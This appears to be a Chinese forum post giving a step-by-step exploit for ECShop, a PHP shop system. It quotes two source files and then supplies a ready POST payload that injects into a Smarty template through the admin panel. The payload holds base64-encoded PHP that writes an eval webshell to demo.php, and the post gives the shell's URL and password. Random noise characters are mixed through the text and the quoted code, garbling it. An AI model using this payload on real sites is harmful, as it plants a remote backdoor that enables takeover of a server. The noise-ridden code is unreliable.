首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板5 D, r# |3 t W# |: e
; G( \) }- M8 O0 t
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了( ]- _# e; G% r
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
4 q; y: ^8 R% s Uadmin/template.php$ b- G# u% Z* t" _0 Y! u7 i
/ ]% m* }) V S- B* J9 P1 if ($_REQUEST['act'] == 'update_library')
" q) G( w) G# b @! W n& S- @& k0 H; k& R2 @
2
; @" I2 [# s3 U5 H6 T6 w) w; \; l: k3 a8 y) x( J
3 {
2 o+ J' [5 R9 ]- v9 S% z+ l" Z- g: c9 y5 d$ v: W8 n3 G+ d- r
4 check_authz_json('library_manage');
$ [8 ]5 O! h+ c; Z" z1 @' D& x6 K% |- o9 v
5 5 s' ?, W" G: k1 T
, e* c$ h+ D( }/ b2 A# q$ S" B6 $html = stripslashes(json_str_iconv($_POST['html']));
. ~" I! r7 c3 P5 V' E* C
; z3 v) G; ], V3 X7 % T& V* Y" g9 l1 Y+ d
- P: f3 Z% \6 N1 |4 c$ }
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 I& W* \: u: ]/ K! ?
9 Z& O: a# p2 u1 ]& x" M0 O
9
: @: Z, r, t, E" T& O6 ^% V6 A( h: _. E2 c3 [
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
( {. A" c) Z% d# u O
, Z. d4 M# y! L1 \8 Y11
& U, {" R2 l) P% t5 h
, _8 `0 S" R3 y12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) L' j4 p" P8 J. g( w1 ~% B' u0 g3 u+ m% P. U) X+ e
13
: j. ]2 r* e+ `) [8 M4 M* N& Q" ^, D; ]+ _0 t# B6 F
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 8 F2 `8 v2 o% V6 @+ c$ s( D
% N& F7 l9 V+ A' j. q& g4 |
15 { ! i' E0 C _( A. ~ K+ S, ~& n8 \
1 d" r8 r1 \: o6 f0 s; d! I16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 5 g4 O5 G' w/ a2 W# n
3 h1 ^# W! K6 K17 make_json_result('', $_LANG['update_lib_success']); Q/ J8 L5 @! k, x9 G9 _/ V* ?5 E
' [7 h2 T8 e% b7 f* }# [9 F% t" _
18 }
& K9 d3 U* k% }/ F* Q& s+ i
- K/ m& ~, T' H% h: h. v' m19 else + z1 C% c: I1 [) J' O
1 M/ P p" K0 q2 b" [* g( c( W
20 {
7 I8 y2 c1 m5 `5 Y% x: m3 W/ t" p
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); * K8 W9 k* Q5 y; |/ _. v
* w1 v/ F! z7 x- V9 m$ _22 } ! R" Z: {' E6 _1 F( [0 G# R
2 j* A; S4 w% Q& v$ O7 M
23 } 1 \: v( L: n% R3 o+ \& a C5 \- q9 M% n
5 n. \( t, ?. p. K, S$ `& v那么找个比较方便调用了模板的文件 d5 _! E1 E5 H3 w
index.php. `# c4 M. I+ q2 C# f
' y. n8 k1 [% O- {0 H" O) J; ?1 if ($act == 'cat_rec')
3 F0 }. P! @' R8 K% [6 o% ~" Z0 r8 R0 t- p, E5 e8 k# o
2 ; F/ q8 ~, K8 v
4 Y+ l ^- _3 j" H5 _/ k0 D3 { / s4 ~5 q! `, C4 g! S
# r3 [% W8 h- s" N8 c- P, m& Q4 * _+ o4 m; [* K
# C& K4 _$ x, ~- }: D5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
. \, Z. A) {: R4 ^ w4 b M2 n* U( W4 j# U8 y
6 ( S& V" X4 D! l E% r6 w3 v
+ U- q$ n6 e j1 ]! W. L. R+ b% }
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* t7 l8 l% v! {3 r$ K/ h; I5 S( Q2 r& R# X6 l& H2 C, _* ]6 h/ s2 n
8 : e0 T; K& K! u/ A G
5 ]0 c0 Q& W, k% x% y
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; " F! h: S, @# a8 Y
2 i2 M) V9 D% b4 C* B10
: i7 D' V' S9 z3 A( [. i6 i
4 p4 @2 s$ k/ V11 include_once('includes/cls_json.php');
b; V) Q& N( Z, \- _: Y G- O$ G4 K+ ?% N6 X
12 5 ]$ P7 `% L# e2 N- D9 K% y
# T2 k# `6 x( A6 L13 $json = new JSON;
. u5 }+ N5 E. T ?' t
: Y0 E$ H1 X1 u+ j2 t4 y14
! B( r* b2 O& p$ [+ k0 N
0 m9 W" ^% {: l0 A4 z+ ~$ u. P5 v15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
u1 R+ @9 b. _4 p: } |
% g$ S% Q- e1 k, H: a9 ]) k7 y16 * X$ |, v; ?" a9 V" D2 f( ?
5 B! N; R; m" v1 t/ @17 $children = get_children($cat_id);
% n( B5 X- `; Z* c% x
9 p9 o- L1 S- x s8 x) K" w+ s* h8 U S18
* t! V' c' ?0 n( N4 m: t
" r/ G. y/ |. q) z19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ' p( D5 X! y4 f; f
8 ]+ b; ?2 X$ j4 U* R
20 ; F3 c1 C4 g& {
9 k1 f; y& q1 ^. ~1 q. m+ Q21 $smarty->assign('cat_rec_sign', 1);
: D9 @% W v( W; D, u0 U0 a
, r. ~ e* i% c" P$ y22 . `2 u/ x1 m! z
' T9 [0 ^" U8 g7 I1 h0 D4 H
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
/ V$ z8 E. c+ ~% T+ z! s, @3 N4 E' [( i& `* e5 `
24 / x' p# b8 Q( P2 n) J4 g% h% X y, ?
/ u3 _/ c' { I. O' D
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
- m7 @5 Y& T, S+ t6 P
: \; ` p9 Q3 k* w1 L( u26
9 ]0 [$ P3 k& J+ K( m3 @+ O+ E5 L' i8 P& Y$ `6 M( g" ~! n
27 echo $rec_array[$rec_type];
4 U a. v( z; `6 V) ]1 L' J* _4 q3 w6 v0 x v! \
28 6 U# |" W" k5 i! \) {
2 ~: j" I: M/ J; V/ }29 die($json->encode($result)); z0 {3 X/ \7 w O$ U" K. M+ C9 r$ e/ m
7 \/ Q1 b( z/ _6 C30 # D$ w4 m# z7 X1 q6 Z" a
# Z$ F# K$ X$ \% H31 } 6 p- h$ f# ?/ y' N* ^
' E% I3 s: x. q
那么就有利用方法了
# d# g5 d7 o& _8 s, G% ]post包到http://localhost/ec/admin/template.php?act=update_library
& L* n. x8 }* ` p" S# l7 ?Post内容:
- D- d" V( z/ d- Y( }) j2 Q* {+ B# w" n+ Q1 u# R7 u
4 e8 \/ U0 u9 V- ~& c$ Y1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
% d' b2 _/ I, ?2 d+ ^8 R) q7 v! O- r" x6 _. M' ~
然后访问http://localhost/ec/index.php?act=cat_rec
5 b8 G; u& ^) p: N" C6 }6 x6 |0 q% w% h
shel地址:http://localhost/ec/demo.php
8 j3 @# q0 a4 V8 C+ A" c密码c
* I( |2 z4 x" m) L7 @
+ f* E# s8 U B, \) ?% u |